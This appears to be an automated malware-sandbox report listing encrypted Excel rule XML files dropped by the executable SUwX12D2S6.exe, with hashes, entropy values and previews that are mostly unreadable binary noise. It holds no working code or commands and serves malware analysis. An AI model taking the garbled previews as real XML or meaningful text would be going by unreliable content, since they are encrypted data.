Preview:	<?xml...;....._X...}.]...U0.t.Z...c..X......(I.p.zY...0.".........".R3.I..)..& y.I.k..c.'....6.X`.'C.jZ.faP~.k{.`..t..z.;.:.p....N.>..lt..2.%M/.l..b.B]9g...u..F...+..S.`....k....wE..ufM&.n.......>h...8._y.5Vy%.....X.S...^.H\x).V..T.......4.\|..%..t..$.5.L.u....../%"..E....}.S....DF...B..By...6....X.i.....mPc.].W._..Ora.......:.%.Nu(.-..2.......'].J{29...V.....R.F/.....#?.......M..O~.b...X.B...<...Z.u@.T.....h.j.u.Ol6.<....<0l.G.$..c^.......h.)_..#Q......Sv...>0f.....(z.....\...W.QXE..3.....%..j...G.!w..'.g.......7I..A.M.k....E.......L.(-R%..-.811...P.....h.H..m..~~r.G.4.......h..JW...[v...t...XB.$K.._......`adl...KZ..Tlw.6.....w`6XQ.V.3j.n.........e......+`....[B...7/J..'.?.]?.!Kn..A..ZX+.~...M.zi..ivF......P...J....c.\|..-.f..F.a.D....Mo..e))..n.."8i..KO;.#.?;]M..S.fs....I..:x...gp0..`'....nrI.....)..u..z6....l...\8Isg..Du;Ol.....[g.....Y...j..`[..w....;.x.R..\....3......+.#(.}.b^..cv...4W.fZvP.r0y'...mb.._w.......pOZ.2.._....<i5#.T..}..jv.P

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701050v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1695
Entropy (8bit):	7.8653737200614495
Encrypted:	false
SSDEEP:	24:BszvL5iNfGuilALf3QESLK2UiB36rsqwIcPlRVpb4vSmWP1yhelSZvcEW032hPYz:edi4AQEYKjiWsIcPpU21ZYqJhwFD
MD5:	E6AF97AC73F4A4D073AA825F18372BE8
SHA1:	D15878D16D08BFDE62365C0B07CD74DCDD7EA842
SHA-256:	2C6F2478DDD17925ACECD2732F676890DB99F89D9BDA4046FCF2C719077306C2
SHA-512:	22C5D56C1DF9CA49DADDB2D603B68E1D1B5DC6012A746D27D81AC83565AC66E7373394A5441251E5C8B4203C41327AA6C8A087AE274A462D28EB607D18AA2FB9
Malicious:	false
Preview:	<?xml.......g.&).1....D..'..._V.Q..xIk.-S..uO.lo.B].F.>.............1...)JT.....hC..}..\|.}.n.c..E.h..1D.R8.Jz.\at..at#f.x.=).....K^S.<.....\|Q...7y.E._....\./+&l.9.e..H:...p.)...1..:.@-[D...\.....`.U....(M9O....+..F....w:;.m...j..r.+......._!...1..5.1..J..I.(H..x.~Z\..o.Z....R(...$S.h<.Q.4.3......A..D].b......Dh....m.......7%GbY.r...s4....m-....y...-j..r"'Z,.E.n.....y........;d...RZ....u......S....c..n.[.....XQ.Z..j`"......V\....5...6..@$:v\&...#..o.....kp:P...V6.^r...Y...,;`..h....(..q#...>.l.R..b;.h......#"..\O...QYe.).1...3W.ZK{5..2.....u..`8./.....$...YS.#i..q/^..x.-l...c..,t..yb9.R.9.1....Re.#.......3.S.'....A.BT.)......$...,"..)....,.^R:.^.T.'.f......IiI..g......J.$...I.W.2..._w.F.4...@.R.\|"s.QOG1..,`..'Qy..!>...(.l.nM\|.=t..*i.3.....#g.......5.LX.x...k..wG..%..C....y.q.f...XMWAx...D,/.R...y.>e5q...DnW...Zr.<....I...&PK.. .P........;.Z/.._M.rRir.....$a.#...$.t..\.I.x...F..h.$...0.P..F...j.J.^M..g#..]=..]y(l.NW.1..%..-J`.7/F ..K..6.[.I.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701051v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1732
Entropy (8bit):	7.876221269530335
Encrypted:	false
SSDEEP:	48:WDYwWovc99u1gRvnwJKFuSIwSGNK+Z5jFSFD:dJiX1QvnwJKgSI8E+Z5xS9
MD5:	BDEDE73C729CA88C92BD55AAACACFFF9
SHA1:	F7DEAC0ABE1BED4B3DE47681280F3E78585678A8
SHA-256:	0BB3737C542E20670274864222FC25C490257CBAE5624A9EEED528F5B2DF9057
SHA-512:	376B18FF2A3E76DF19FF3D09FDC721208B1B5F03F0E73A7A12092B1557CAF90E0ACBE98735A1E84B335904180FD19C59EF15B3F71002D6A1F480C59F6592EFFF
Malicious:	false
Preview:	<?xml.i."8.~.W...4.0.]C%....~.....9.........y..........X...%_.y..!..........dO".'L:...h..d.~...X.D.........cI.....J)....!i.ca:....w{V&.:.':oF^A...q.#...Vko....LV.........Sw.'..A]km....>........l..w.f....`P....2H/Du..+..O..;...[1....x....y.L...go..=S.>.L..e.F...2%.&Ep~..O..~........vi...v.'...K.....b_;..?P...L.;.....N..I.h....BZ....e...q..\|e7..45..%.h.\b....._..6j....!S...z..[..8SW..q..)q}.@)..H.2....pc......o....c_..}N..0i:..........X..dz...#R..+R(..o,.;.B..[..Y\.@..:.Tj.,.c..? n.l...Jz ./,.L..g,...A./aE..J.[..a..Lv.j....... U..[,.7[......^...ai.F.%acX.N]...Q."..r../.....hQ-..,.11.voJ....U\|..=...4...f.....f.I..t.f.\|....(.4...OoGO...E.Z.jA....u..R..;..A...!..2.OP.7w.>^b.H......:E......8/`...........7P8..8..J.......,.. .M-.m.2.M..'M` r..@e..............(.....L.>..Y2{."...6.4._...U.T..Yd..) ....)Ku..n......G...u....K?b...K....?...N.".YtT..'.d.tE)...`...e_5+...e...o-.......La..m.s.6y.8.....c...5K....]e.P...=<..@_<.."'......NK.K....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701100v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1707
Entropy (8bit):	7.906240399518242
Encrypted:	false
SSDEEP:	48:TD/uHFKmR5DgSa8ngvH1FUpI76kbbPwv0RDqC9593kQZ19FD://ujRqSa402I9wgrc+199
MD5:	F2BA4138ACFB6070DA7C2311C29EEEB2
SHA1:	EA6BE251B2EA2F5962AAB1C0F78315CD9A2CF28C
SHA-256:	8709945EC3215C7281B6F38CE4C70D2B8D43BBDF933CB30D99FF871FB1089A0C
SHA-512:	D7A93C4236341E27A7EE936C1FC43A7A3C71711AC010936ECFC26902C5589894751597AF5B1231805FBC8EBEDD56C74D8218D4602F44D3DBDB6D765384CB7B30
Malicious:	false
Preview:	<?xml.j.F..#...q..U$...m..B.....a.M..c.Ex!.f...a\|.....(W(...<..b.....Y........6.k./i/A.x....]..7.'.9.,.-.p.R......aX'..%~.V0....pbM...h..k.<..h....i.8...?.-bx.!.U..}+..x.....O.......z......L....$$.0..8.%~.."...PX..0.A.#n...~.....\|.>...\|g..V.....5.........%]&.=,Ty...0?....0...D5.#P.eo+.nr..`Y.%...t.6...@.....1.<?M......`.K.5.EB.)6...l\..P.7.<..K.t..Z..'...pn..c....K.+..Z...,..'..q.'.p.1\|.......e...0.1........&D.....8...........&.G.K5.Y....7T..O..h......R..U1:>hO.[..^4....T...H6...5KL......E....<......>...W.ct.$~,..Y._......x.5..i..R.Z.........S..:......-...L...]8....h........@...0)E.x.....W...x...T6.....D...y.X..;......%[.1.l..._. ..%.....,R....V.....u%...T......O.^._...V'.z...U..w....T.&D./.o..s.R.....}.M.Q\|.c3..&.S..}t...I.&l..}.=..u..xh.....7....#....H.Q[{8z..G=..........s=uCZ......._G..\.w.ow..C...^.@.."..e.....8.5......&.Yh.?....l`....H...0.....}....]..2.SNs.W.2..3.r<..-.".O.B.-.l....x&...gS.J.cw....$.2. I.>...t...y.^q..t@........".

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701101v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1744
Entropy (8bit):	7.88503173791784
Encrypted:	false
SSDEEP:	24:PuJAPKBm+OCxe2dCCsFYc4ZQvGGLdfW3DJ746EcpH6UV+IlKCdbH0DH4QNAyy4dP:jKVg2dCCFZOL4zJ751l1ZCYQfzd0UFD
MD5:	7F5ECFD16455DE91B56438011D114AAC
SHA1:	089C275E052B1D7929262AF68978FEC3A8FBC850
SHA-256:	DDE8B11EE5473421BD48B6861F553A1DD3ECEFE60ED0FF95EB1A14271A968ABC
SHA-512:	8EB78D73CFC109225F6CC4D1EC480963A57F1A96AB433AF282EBA534D362BB1795D54A11A5C323D09A3C5DE64B0E6B35667079663CEF9BDDC65E4CBCDDB52715
Malicious:	false
Preview:	<?xml..2lS..V.}..._.+.~v%.\|..G.=.w...I.. ..@.....:q..._.\r..d..I.W/.x..IF .Wy. W...........g#.......Y...<.,~...\|R..5%.b.+.C........p.`.....OK}.~..h.].2Z.ovl.r....Y......u.k..GP.....dS'./.F......n..@}Z..a......R.>..\G$.T..V..d.&...&.......A.q.r.d\.6..F&..$..2....o_5s.%.e..I.n.Azf}..a.&..Q .....+.X..S.1.#E.=}4H...o.%..e..g.h.{........\|/.^g.....H....KKr..CiM....vH....;.D}v.M..4o..dH..>.~a,..Y...4......P5....\.&q.5.b.f..N..<.YA..v..o.o..O..I.U. w ....g..%.}..^7s.V..>(.nE..V...@.B.f4...@S.u...I.....%.....V..^{'.[..].........K..F..#JK.W.I...,.QsLgk.p.R.G....L.q..P.r.\|.....5.2..._k....J.....;x..0..M.x..?.K.....M..L^B:.O.:w9/....T.<..B.n..i.K.1.:`\|.b.>............S..)#1r....py..8...l..K!.......mD.".d...O..A..}.G..(.+..X....-...2E.....%.]-..{.t.%...}...@-J...c..^.I...?h..ZW.z....y.......7.=.}.-U..h.[._.uS)Y..uR.......Q......J.`....L..............W..*>.........'(......\.Z...q.I.A.I>5.....h.w.........!8$....W,...`'.../...i.CLbW...JS.......}~...\|

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701150v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1697
Entropy (8bit):	7.879488085604206
Encrypted:	false
SSDEEP:	24:0WqeQRhPs6zJSZWoP1lD+7MinJQ+17vy7hOUJfMLBqz7ODaCUvhrNrh9JskPiog+:0f5BsEnoLKrJQ+hUOUJf1emXpxnq/uFD
MD5:	08A0664514CED17FCD490E2B128A3A89
SHA1:	DAF83B4A62620A84BBB633D52249B7205B676130
SHA-256:	BBCD2701ADB12EC5A1B26F1FC96BB4EDBD4218720514974B376EB40FC8ECBE3B
SHA-512:	0C48B8E08EB9CD383AD9060E0B87139C74874DA9D81F98130D6F6FC32711C0DB5C76483606F19B55E1FEDFA1E81CDB71B031395C299891DE24EEEC6076C6479B
Malicious:	false
Preview:	<?xml~Y,.7jM....h.n....j.#..a...s.u.....G.Me.L...-.....6W.....#,...yG.W...b:!.T.I...d\...C.Mu.E.H'..GZ.......R.?...l....O...s...g.. =..?.,[...A..h.`.m.;..Ya.\.x<..V....d.t..2...\\|..@..V..4i..R.T..&ynr.]~.=..v.M...'...c..HU.Jq..lqEd9.Q,..PW../.?..W../..gU.O..M.~.RWo.../...k9.....J.......B..=..j+.:Z...B._....AD..Q....^.i~.)...Y..uim.........qb.SR.].{....s...fN....@.&......._w'7S....u.B.0...~..E...j....;..P..&f)\|q.j..pn..$...)....>.....J.]2..Y7H.1:......bx..t.l..=3...hMp...e...-....5"...'.[~\..h.}.....\|2\|..p8vb0..[.....Vg.G..Wzxr...K..[9..^....x............Q..>..=.... WMh..%.>....pw.X.o.qR#...4.X<...)!^..QI..`.\|.\d..h..N9'7.a...igg....(p.R..../,k.$....y.s...*D..R;..)...Lg...B ...90.Y}...A.D..r^<...;.v....`..gFVccr&\..v.!...G._....w......1w.$.6... .c...K....>>..BW]1.w..>4`..n.....A...8.i.S^0.\|.D.y.1.i..m.3....z..kc..../..D.Z#.X.....Q.....j....#....y..h.\|..-.....x.v.@.p....?.."1.F.IR7.~.&.fE.}...cEe.,...7[U.Z.Y\|.B.....R...U=.8...._..."5.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701151v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1734
Entropy (8bit):	7.903390849337698
Encrypted:	false
SSDEEP:	48:wUmLN0xm9nQ2A6KJ2fkJ+9D7tb8JWHQyCwmeVbMFD:wU6Km22Reidb0wntVA9
MD5:	8B7575F36CD2436490516063AB34C028
SHA1:	63383357F4E3A72B4272D1E0A5551835A0BB2590
SHA-256:	1874235FCC77CC7F9EA15DCDC0F34EA8FB46D649E9D0C187A29EAC699756A148
SHA-512:	17F21069B9CC7E416A575D5B8287FB26A4416B5D6DD7663223EA817243C5E89B01125C460B1E6E270404C887026C183942772752D59A00EC7A71B43EA9D8F7E8
Malicious:	false
Preview:	<?xmlj.F../.%.T.C.CO..M..p._.n...xC..m.p$.`..>~y.9d. ..'....o...Xmn.op\|.)E...Q...j.q........:b..}.@&...M....Z..B.K2..F.P2.....2Q.1.Jd.q)..Z..v..>!..L............3......Q.2..{..T............v....U.V..^G@3T..G..({.HR.o.".......)L.........\|Cm<..N..$.%.-.N_.>.2.....:...F.[.@....:.+.Y.....k........... ..D6.b.........j..J..%..4.....60c)....^.,PP9^..L.#...X.2...R.{?q..K._..d}.z.+..a?...8.....g..k.5...r....6..V..:.....k...S....P,6}..T}<h...w...=`...........o]...+#.'<.Z......W...(...L.F..Q;l.}..+b.......V7....N$........J..p.o.o....._t.....y>....'.c..:..T#.......eO..n..Z3....ro.....Z.....;5........._..)Z....6.O..h..\|..ra...=V{...O...+.....B^...]...0n.Qh.Z...\|h...h...k...L.i6.m[b..ep..N.........hJ...kHw[8.w.f.s_(.....~~...J;'............C.!.w{.#....-..}.....XPK.....,.#9^.!...E\8.4z..y!...%..W1..7q\|}..o.7}.m.!..y...?...[&..EY.I,HP....~.AD.. WQ.ku..x.. g.q..Lz.F.r*.O.+...?.'.............D.J......\|...El.?./....hz[ .F~-.p.w.u......c(....1.....dI.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701200v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1689
Entropy (8bit):	7.882739763656967
Encrypted:	false
SSDEEP:	48:9H1d4FekRhOJqlITgNeXlfWRbEi/VmUH1Q+0FD:Fn4zhT0gNe1igicM09
MD5:	42B967CA86C218FD109A1E8BD4A6C30D
SHA1:	3DF5449E72576F5B38C40A3B95B5DAB007791FDC
SHA-256:	5269314685E5758F422BF3771463B1F3E398AFDFCC024AE924B25C1FCFDA35DD
SHA-512:	5A0C4E3ADA0ACAC719186B22A5A70ABFEA83FA5082B410A25D13E9E065DBDFED8858ABCE3ABCD797ED588ACBC9D4AF88FD2253AF359508FE2D19282EEEEF9402
Malicious:	false
Preview:	<?xml...$<hb)..M.w...wS -.l}.7..V)..f.H.=X......_.i"\....pW #j.k.....X......kTZ..:m....@I./K..k.. ....33.;..mw..[.2..Db........\|A......F*.....A...\|`...W.t.l..O.._.ar i..j.5......l....]zVwZ...~.~CV.Q.t...v.Kf.9....eUo&.?..,.W......3.Q.J3...p.dUE...Yx..].aF..fy......VL...fX..`..j......[..w...Y.E.W}\|..j.V).A.-.../....Lq....8C.3>.!bj..K...Q!.~.....R....)...F..\.?...>....;).bA.n...S.k...'.pfC.5w...C..uFw5..q....hi.....,..b.._eU.#PytP.......r......Z..1DhQ..P.....O.X..).7.L\.J..v.m.Hq..-.p...C....j...........X....#.Gad...t..8@..i....Z.mD.h...g=.........N.m..N.,v........y........axg.........#.....N_J...tD_oqy.1UZ..Db........:..y..#.on;..M..........4..KJ...Y.N;$s.8..~...z..O..rW...E.-...0je.3xt.....].:..iM....H$...d.....}...sv....:1Y.IT_.'..R..2b..Qs4...........BXz.I[..7.0g`..dHJ..%..C........-K~.?)Th.(.2.N....w....g./..j..X.'W.<4..#j.sH.7...h......).....Y.R.....q...lIC0W..jF..3.r.@..%B.H..#..Z...srJ}.%.4.u... ..6R.+?^.[JZ?....6..!6...T.G].

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701201v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1726
Entropy (8bit):	7.8654997822040915
Encrypted:	false
SSDEEP:	48:vfi+TDf1B+yYJrBcWbFsHICJcP28PGcufe9FD:vBDf14yYJaWb+XJ028uC9
MD5:	E92BABE19A0DDD45171CF4A64A85A9AE
SHA1:	6B302F382A4DFC7098FF1C5D35AFD4DC0EA37075
SHA-256:	3F83F5EFDB696990D6CD71C61B808FE5412F074C255FC12F798B706D0E7705E1
SHA-512:	4FDB19590CC300E3CB912185CC3E3381CAF3D1647787BF1F1BB8CB55841C89FF12B3B7C56E690A6D8C903182DFB8BD132710C962411C7003CA70C79ACAC0060D
Malicious:	false
Preview:	<?xml.X.........F..)......'i.,..9B....?..y..c...P...p...C..I. .7d.......\|8..^[.h....'.4.r~3..o...>.I.!..?..2.2.}.'...D3..Y....4:.......i9\|....9}=..3._.gP.^mN.U=.w...o.V5.I.T....`_D\|.r<...UB..e+..#..........6 ..!..;.v.......u.'.....=..Wm.f#.&&.p....z..-...O>c.V.......,.s.3...O...!F..t_D.P-.Gf.....\\s3...~.KqD...y......s..&....#EOjq.:#....@S...'..K.-%.M.exx.tl...a.n..8"..H.6q.8;.R.M[..B<...>=..............p.vu...&...A:k.gGGMz..:...o....at.</c7.4..H..Q~..C=.?.qV..8...\.W[I^...Q...,P0.p..%M..<.c.C.."-G....u.d.`O.c..C..D..&..@........j.=M......4b`O;wH{O..r...0..a.....YS9^h..;..c......`./..Su.*...\|.f36\|3.x...Pu..!..:...3..{....k(P'.].d.i#.~...[]P....o..lG..8....M6.H..a.-...y....G.z.....o.3I7}.X..A.4...('.!....).J.y..E..u.......h...0~..;(Z....9..n8..+.s!.....}.$T.......6......U.o....8.....zp99.n.TJ...{iq..T....O.c..........I2(...:.`..=.e.GB.k=~f.$...cFi....Y,[.H+../c"...P..;n&......x...f.....>..8..d...1.&.......l.....W_Yc.+......^.9...V.Ve....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701250v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1691
Entropy (8bit):	7.882832401195807
Encrypted:	false
SSDEEP:	48:JqfcW/2vHArN/kTyQC+buqB31vKysHqmf6j3xD68VFD:kkQ2vCl09NhoK6aB/9
MD5:	5DDC8487361BA1C6C24B1CB0EEFD79F4
SHA1:	462A5B19CE511D764ECD0D83C625CE6712D77494
SHA-256:	8EDE79C6FBB7CCB9FCF188A629345CB21343098C0E8D4CEC69E0C238F0754476
SHA-512:	02D0B30FBF12B5CEA627BFBEEEB0E284B8E0896E9FB4E5FFD301776A1F4E3CA23DC85AA857B8A7625CDD7EEBFEC3DB75D13DB17680C17EFA607E8A355084D9AE
Malicious:	false
Preview:	<?xml(m.E}..... ..s~x\|\.."'.......v%q..o..!.o.eJ.@;..&..H.DN..c%...@..pxI...........r.(...Qy,.C...->.Ee{.O^n....L.MY.).....`...........$...N'vn....=.........RZ.+@%.5...g,...p. ..}J...Nd..b..]..i..-...H.[.m......j....g..D....b#(t.....Z.gFw.. 6t..n...z[.%../-#^..q.x..@...1k.wa.L...Wx........c.W<..eWoX.}.Q. ..^$m.M/......ADpG...c......#..~.U.D...a..?..g....2.0N..-.P.P.......e.[..2V~....w0..n.<.l`.\|....HN..G..cx.6....].D..B;[..0...>...9...w?......$.a.2.....)^"..#=....pZ/.k.Pg...@..w-.N.....K8Hk..S..h.b:.......[.^..Q..Z...c.4....4&.(....}F...`.. ..Y...M:.D..<...........AP...EE...Q<..uPB.,...i.u.-.Z..Y...!.=.g.N.kk.L...5WF.'...^+..`l.....5CX...E...6j...../...sK.I.%...j_.O......$[.Q.H.~..K&W.+._La...[.e.b.kX....;.T..Z.....A~I../.~B.........v..E.<.[A.i....VRj?.g......}.......8{.....6F....s5...0.##g.\|....q1\....%.36.P2.....JE./.....{...>t.N...f.?n.A..o..T.-.r.d./..._..Q.)@B......H.>m.Vcj......f..F7...........B.?.}.....h7...3.......`.-

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701251v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1728
Entropy (8bit):	7.88044162781646
Encrypted:	false
SSDEEP:	48:7wAFUum4USwh9jXkwmw+8RMxGFx/A3j6FD:kev09j0wmx8KSKz69
MD5:	E24E0BDBAECCCEF12307556BE5CAC6A1
SHA1:	421FA74C8483434098E879C4FA62C0DC6CAB675B
SHA-256:	9A8E25915985A3F15E840AC4EEA93A1D293C3ABCE450DBAB24BE61D40E16B57D
SHA-512:	DE11DDBF19F88B4064C737F86EFC9A6ADF7A2B0DB94B128A7BCA2E1C85B44B01A851730BF21128B3445435BE9BB0BC4808DDD581F1D2DA07C5DB2F48124F22A0
Malicious:	false
Preview:	<?xml(CV.t..~2'D....@\|:~.u.....^ .5...1...&W.=..Z.P........U8FP..85..I......&.X....L.iQsq.2...1.O...-H.3E..R..w.,.!@T.(..5.X..m...%yqJ.,.7.P.Wy..au4..h..g..m.~.....1;.Z..7G..M...V(..$S&$.'`.u.d.+....cT.{.O=.u....R.f..@.....e..{.u.t;..I...\.50......#5...}.!-..Hp..F.F..p[.E...."T..S'....4.v..g.).z.b...G..VqId..5..Z...B:...V..R./;..n[..}.......U...........`nr...BA=..!f.{zb..GfX.../...9...K.GMk..).p..v...7Bd.g.fze.....m........`...._.?cUYK.h..i..A......9...p.d.)%y.V4v.[.....P.s(.7.!H.(ui......L....`:....zD....!.8.]...&z....c...-~..65 ...P..V!#Z...}.M<..k.....4.q.]I....g....S%...v=..).[.V'..wP.}.ty..x^/.Z....."S.F..Z.......~y...l...Td...;.X.E..-.,.C.........x..\:...N.$...'H%,....y....I...a,.7)..YV..5....b.E.......j..k..U...V3vU.j.KL...,(./5d.,Y.uz+7.{8...@.....b.V.w.c.q.S.O.z....D.d.@.^..AB...,.....n.Ed!..b..D..[mY...H.=...y..9.....5....lc.X.......f..]..!bp...0]^...{...k&.....P.u..;.."G.s\..@q2..T`L.dq4<..+... }...V..&b.....^...L....B.v.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701300v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1699
Entropy (8bit):	7.897841984469191
Encrypted:	false
SSDEEP:	48:c9IcQGdkwqXlMbelZoZt1BdMW8n6So08pgRVZDFD:c9Ic5dRqVMbyojtsn6Sh3b9
MD5:	874C722C6F1C8B365AF909D52BBB727E
SHA1:	171FDBA29A4F97F149725EA49E52D26879ECD798
SHA-256:	4EA482345CB807A47F47A94C94919FD92587C12555742487C405CBE53D8209DB
SHA-512:	0C8527EA92DD216D44F79316B363F8399117601887C8374D4C3E4C8191A6680630549814426E050079C0E663C9460F745A4EAF2DC961C45BD9B69EE9C8DC519A
Malicious:	false
Preview:	<?xml.U.......x.,u` nc....]M..>"....v..A`..0..qM...OL.P=....E...B;....v.q.`2Z6.+.S..d0u.}.`i..,...m....kc..NnyR.\Z....a.E..."..<v.6.p..3.v.i._..%2.w.@.8.y..w#._...$>...@.d.....FC.<...L....o.x.....C....;..Y!.S....#..B1.....C7.....4.B..u.r...c}.sx..I.w...X..#h..........p.n..Mv....q...Y....a......h.n.....+..k..m.......\|.2...B!f".n..7.(U5s..#.d..kK....o/..5%n.U.bsl....\.a.i...l.....K.-I....^._@..s.....p..%...w......9...k....1...e.:D.."...(=..........d.......h.:.dK.b$.+~...._...6.+..q!s&Z.....?.....UT..?.(.r....q....P.V....].).\|n.69C.".7......>.v..s..._..Q.4....{._..H.C..=.<....K....3L.w...QB..^..;!..f.../"H.i.......E.+n.`.5..\|#...g.w..q..=\......m........D('.,q.J..8.~........u........0^..D.u.^ 8u>\.$,..}...<.18;..JS.H..].=.......G...V+.C.0..m.j.6V\.#4....}9....#b..S....C.......'~k.......A.z..p..K.cl..H....9Z.pW...9.!.;!p.hWx...........=..do..2..t...r.h.o{....R...)....y./.v..-.R:.....[../6@{4&V..g....T.@.t....\|{.'8...YYQX..jN..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701301v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1736
Entropy (8bit):	7.892533404232853
Encrypted:	false
SSDEEP:	48:nhPX7y1woJyx9h094UUMymuQkUafipEFD:nhPLymoMy+UUMruOk9
MD5:	AE30E44A2660BBB6BD82A0A819C41A41
SHA1:	86154BA317821235FC8E701B8644F42DC5CE2203
SHA-256:	FCD9962E1F1918E7536746FD022A9B99A616734F9ADCE1DF3E9721DB9F8CD7A8
SHA-512:	EBE6019AB7B52A25CCB9BAED411946DBF1A0E8F01AF733D8D55EB447781C1FF03B6FAA2B970FF2AC8C723C6750FF8F432D61A7378D33931901792E099024EB8E
Malicious:	false
Preview:	<?xml..#..X..../.u..{....j...{......Y..Vv.....Q.+s......V.j.+....N.rE.W.q.\.Pym...,.6PN.`._\..U.....,..&.H.-3T.R.>...t..V..R..m.K..#.~:H...."_._......qy....,...}V!.e........t.~....\|i.C.U.`#....\|..P....^......0i8.Q... x..~.a&V...f./e....v...;X.L...R..+'Fs...OusE.:@..a.:4..-..+=...Z.2..A.(_yp..2..!.?.g.(.:.f....a.#F.....X..>...<....g.'6..._.1..)KO..V..\|.>....r.$.....E.o.....h..q.U.7.8...H"@S.Ig.s.8./..(H..p.^......I....l" :...(..:.O@....NV.:.U.2D.\~.Qx.wL.f..!.4..\|#....O.c.o....5..5...]C.ZY.0\|/.[.qu...-.} ...j].FN...&... <.p&.I..>......-...:7....[....H..B.8 .C..c.3BG.#....}2...KE--.(f.T.{X..}%..v.`sx..oA.......nx.+....#..>7....G..C7..{.i[.#..b.vo...u"..3..b.....4..2...pQs.pG.G'....."8.C..m.....(..[.2.R.S.D.00.gJC.p0..D`u.m.......aL..{..g..U...:=IR.8....$...o.....0.'.u....d8.4......&.1.....?..]..%..0..K6..U.....j......(..2......2.....9...3.\..!?.Z=..k....w\.....^T}..].....t.#.8...)..v~..%..>.7.G..j>.A9w.K.+{.`.=........}.Bn.g.J..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701350v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1703
Entropy (8bit):	7.884209802965486
Encrypted:	false
SSDEEP:	48:bydBnxAegXopXWJSjX53IlWHPj3wzY4WZFD:inRg4FyScKxPZ9
MD5:	B1A1BFE7BF49B8583123D06D46E27368
SHA1:	0500EC10B82425AB3CFB1E976919CFC031BC66A9
SHA-256:	732969C45BBBAF40E8033DEC70993BC307453B77740DFE21857047898DF228BD
SHA-512:	C38C9A777638F19A39D77BD6160F30184CBFDBCF3F57842BEF233CB0C3BFF6C947DC730480BCCA9ACC0CD746F22AA5A78AB4BABC38065B4E4EB2FAACDD9C05A5
Malicious:	false
Preview:	<?xml.......q....M.......'...v.G...[.....b.........Dh....@.o\......{.....)..K.\|:.nAUq6.,...H.s.i.Y....?1..bu.......$......'.7.....}H....~..0.N..........J......C&.....q{l.a<.d..'X...RnQ.S@.....M.9f.>.@..\..q.o...>D........k....e.n.N.yx......f..\|ML...10..au]!.Q.........:MhG Q.b9.e5....8..u7..}.hI......n.sC.ms..d9[,d..H...o.G...... .$. .AJ.f.. \|..N+......].e....,.AU..=Q. ~..1.....E...D.$.is.2....h?..`.2.2h..n.....i.onR..Y..\|....2.P....b\|.s....~`..w.[.A7...^..9.".B.>.GO...W.......0..`..2Yw.r...S....z."...s...,.@.Y.....l."2z). N...3....E1....C..r.X...v}3..K...........PY.........^h.-..7A^(.1..9Eg..Cc..).b.&z...Vg.Hm..."?..>...U35...UrO<.:...........Gi....d.5.S.^f..v:}........s.....^.?a....Vn.C.J..Lb......0...v..~Z./.~...[...k.3r...!..U.R$7..3..j..........+...G..t.}...t\|GM0$M....*......US....}V4Y.`).D.@...^...d.g..ec#E....U.... X.t.A/....Q2.rnt........e.(.[B...N.<e.]7....b....r@o+.c?....V....^"......V....[..#O.1&...b...^...{\...h..B..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701351v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1740
Entropy (8bit):	7.89488495787075
Encrypted:	false
SSDEEP:	48:Q9k7DcL84/80LONLOe2Jarv3GEreWZMajWbBFD:Q9XL84/NON6FCv3GESiM1B9
MD5:	12206CACAAD58E9B015C43B7F4864E07
SHA1:	DE41948CD1F2EB8F4E40A50D4E972895FC0FB8F1
SHA-256:	1B5FD69A94D32AAAB451ECCB1FEB3B7E9EF1E127BDE022637E96C518E75F02BA
SHA-512:	A2C5B651C6E63BB76C5187B925039EBFF124B5A6870E957FDC5EDC5EA0BE1A5D2B64C934B326E898BE163C3B4B562851B271B36E6FECE1B434442814B709D3B9
Malicious:	false
